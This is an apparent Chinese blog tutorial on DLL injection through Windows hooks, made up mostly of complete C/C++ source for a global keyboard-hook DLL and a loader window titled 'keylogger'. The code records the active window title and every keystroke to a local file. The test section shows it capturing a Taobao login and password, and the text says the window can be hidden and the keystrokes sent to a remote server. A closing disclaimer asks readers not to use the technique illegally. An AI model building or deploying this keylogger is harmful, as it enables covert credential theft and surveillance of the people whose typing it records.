使用windows钩子(HOOK)实现DLL注入

DLL注入

  • 在Windows中,每个进程有自己私有的地址空间。当我们用指针来引用内存的时候,指针的值表示的是进程自己的地址空间中的一个内存地址。进程不能创建一个指针来引用属于其他进程的内存。因此,如果进程有一个缺陷会覆盖随机地址处的内存,那么这个缺陷不会影响到其他进程所使用的内存。
  • 独立的地址空间对开发人员和用户是非常有利的。对开发人员来说,系统更有可能捕获错误的内存读/写。对于用户来说,操作系统变得更加健壮了,因为一个应用程序的错误不会导致其他应用程序或操作系统崩溃。
  • 所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。可以通过很多种方式来实现DLL注入。
  • 使用注册表来注入DLL
  • 使用Windows挂钩来注入DLL
  • 使用远程线程来注入DLL
  • 使用木马DLL来注入
  • 把DLL作为调试器来注入
  • 使用CreateProcess来注入代码

HOOK技术

  • 这篇文章主要介绍下通过HOOK技术来实现DLL注入

windows窗口程序

  • 先创建一个windows窗口程序

  • 新建一个win32项目
    在这里插入图片描述
    在这里插入图片描述

  • 新建一个源文件,写一个windows窗口程序

#include <windows.h>

typedef BOOL(*P)();

//窗口处理函数
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);


//入口函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
	//设计窗口类
	WNDCLASS wc = { 0 };
	TCHAR szAppClassName[] = TEXT("KEY_EDU");

	wc.hbrBackground = CreateSolidBrush(RGB(120, 50, 40)); //背景颜色
	wc.hInstance = hInstance;    //应用程序实例句柄
	wc.lpfnWndProc = WindowProc; //窗口处理函数
	wc.lpszClassName = szAppClassName; //窗口类型名
	wc.style = CS_HREDRAW | CS_VREDRAW; //窗口风格


	//注册窗口
	RegisterClass(&wc);

	//创建窗口
	HWND hWnd = CreateWindow(
		szAppClassName,      //窗口类型名
		TEXT("键盘记录器"),  //窗口标题名
		WS_OVERLAPPEDWINDOW, //窗口风格
		300,                 //窗口坐标(距离左边)
		200,                 //窗口坐标(距离上边)
		500,                 //窗口宽度
		300,                 //窗口高度
		NULL,                //父窗口句柄
		NULL,                //菜单句柄
		hInstance,           //应用程序实例句柄
		NULL                 //附加信息
	);


	//显示窗口(SW_HIDE 隐藏窗口)
	ShowWindow(hWnd, SW_SHOW);

	//更新窗口
	UpdateWindow(hWnd);

	//消息循环
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
		//将虚拟键消息转换为字符消息
		TranslateMessage(&msg);

		//将消息分发给窗口处理
		DispatchMessage(&msg);
	}

	return 0;
}

LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_CLOSE:   //窗口关闭消息
		DestroyWindow(hWnd);  //销毁窗口
		break;
	case WM_DESTROY:
		PostQuitMessage(0);       //退出窗口
		break;
	case WM_CREATE:      //窗口创建消息
		HMODULE hModule = ::LoadLibrary(TEXT("KeyHook.dll"));
		if (hModule != NULL)
		{
			P pfun = (P)::GetProcAddress(hModule, "InstallHook");
			if (pfun != NULL)
			{
				pfun();
			}
		}
		break;
	}

	return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

钩子程序

  • 创建一个DLL程序
    在这里插入图片描述
    在这里插入图片描述
  • 创建一个头文件和源文件
  • keyHook.h
#pragma once
#include <windows.h>

HHOOK g_hook;

//安装钩子
extern "C" __declspec(dllexport) BOOL InstallHook();


//卸载钩子
extern "C" __declspec(dllexport) BOOL UninstallHook();

//钩子处理函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
  • keyHook.cpp
#include "keyHook.h"
#include <stdio.h>

BOOL InstallHook()
{
	g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"KeyHook"), 0);
	if (g_hook == NULL)
	{
		return FALSE;
	}
	return TRUE;
}

BOOL UninstallHook()
{
	return UnhookWindowsHookEx(g_hook);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	//拿到当前操作窗口的句柄
	HWND hWnd = ::GetActiveWindow();  //拿当前活动窗口
	if (hWnd == NULL)
	{
		hWnd = ::GetForegroundWindow(); //拿顶层窗口
		if (hWnd == NULL)
		{
			return CallNextHookEx(g_hook, nCode, wParam, lParam);
		}
	}

	//拿标题
	char windowsTextBuff[256] = { 0 };
	GetWindowTextA(hWnd, windowsTextBuff, 255);

	//去掉不能拿的按键
	if (nCode < 0 || nCode == HC_NOREMOVE)
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);  //让钩子往下传
	}

	if (lParam & 0x40000000) //键盘抬起
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	//获取按键
	char keyTextBuff[256] = { 0 };
	GetKeyNameTextA(lParam, keyTextBuff, 255);

	//打开文件
	FILE* fp = fopen("D:\\dk.txt", "a");
	if (fp == NULL)
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	char buff[256] = { 0 };
	sprintf_s(buff, "%s:%s\n", windowsTextBuff, keyTextBuff);

	fwrite(buff, 1, strlen(buff), fp);
	fclose(fp);

	return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
  • 然后把库文件拷贝到windows窗口程序运行目录下
    在这里插入图片描述
    在这里插入图片描述

测试

  • 直接运行windows窗口程序

在这里插入图片描述

  • 然后我们用键盘随便输入信息
  • 打开淘宝输入账号和密码
    在这里插入图片描述
  • 在D:\dk.txt文件中就会记录按键信息
    在这里插入图片描述
  • 当然可以记录你的任何输入
    在这里插入图片描述
    在这里插入图片描述
  • 运行窗口只是为了方便演示,这个窗口可以隐藏。所以说为什么不要去点击乱七八糟的网页,如果攻击者把程序放到钓鱼网站,你点击后,这些程序就会神不知鬼不觉的下载安装运行在你的电脑上,这个测试程序只是将键盘输入记录到本地文件中,攻击者完全可以把你的输入实时发送到远程服务器上。
  • 郑重申明,请不要使用HOOK技术去干违法的事情。

猜你喜欢

转载自blog.csdn.net/new9232/article/details/126447852